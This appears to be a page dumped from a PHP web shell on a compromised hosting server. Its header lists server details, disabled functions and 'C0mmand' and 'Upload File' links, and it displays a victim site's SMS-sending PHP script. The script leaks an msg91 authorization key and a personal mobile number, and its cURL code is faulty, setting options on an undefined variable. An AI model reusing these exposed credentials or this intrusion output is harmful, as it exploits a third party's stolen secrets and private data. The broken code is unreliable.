Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/demo.ncriptech.com/../websites/vtti.e-campus.co.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /*include_once('sendmessage.php'); $smss="DEAR Anil Kumar YOUR NAME IS SUCCESSFULLY ADDED IN OUR SYSTEM AS FACUALTY ON YOU EMPLOYEE NUMBER IS "; sendsms('9651807986',$smss); */ $mobileNumber = "9651807986"; $senderId = "KWCEDU"; $message = urlencode("Test message"); $route = 'Transactional'; //Prepare you post parameters $postData = array( 'mobiles' => $mobileNumber, 'message' => $message, 'sender' => $senderId, 'route' => $route ); $url="http://api.msg91.com/api/v2/sendsms"; $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => "$url", CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => $postData, CURLOPT_SSL_VERIFYHOST=> 1, CURLOPT_SSL_VERIFYPEER=> 1, CURLOPT_HTTPHEADER => array( "authkey: 197850AFrGnNLUa5a816402", "content-type: multipart/form-data" ), )); curl_setopt($curl_connection, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl_connection, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($curl_connection, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl_connection, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl_connection, CURLOPT_FOLLOWLOCATION, 1); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { echo "cURL Error #:" . $err; } else { echo $response; } ?> ?>